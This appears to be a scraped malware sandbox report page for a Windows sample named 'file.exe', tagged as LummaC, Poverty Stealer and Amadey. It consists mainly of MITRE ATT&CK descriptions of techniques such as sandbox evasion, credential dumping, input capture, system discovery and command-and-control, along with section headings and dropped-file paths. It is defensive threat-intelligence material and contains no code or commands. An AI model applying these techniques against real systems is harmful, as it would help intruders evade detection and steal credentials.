Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Threatname: Poverty Stealer

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Bitcoin Miner

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\DxfmGsU[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as `CopyFromScreen` , `xwd` , or `screencapture` .
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre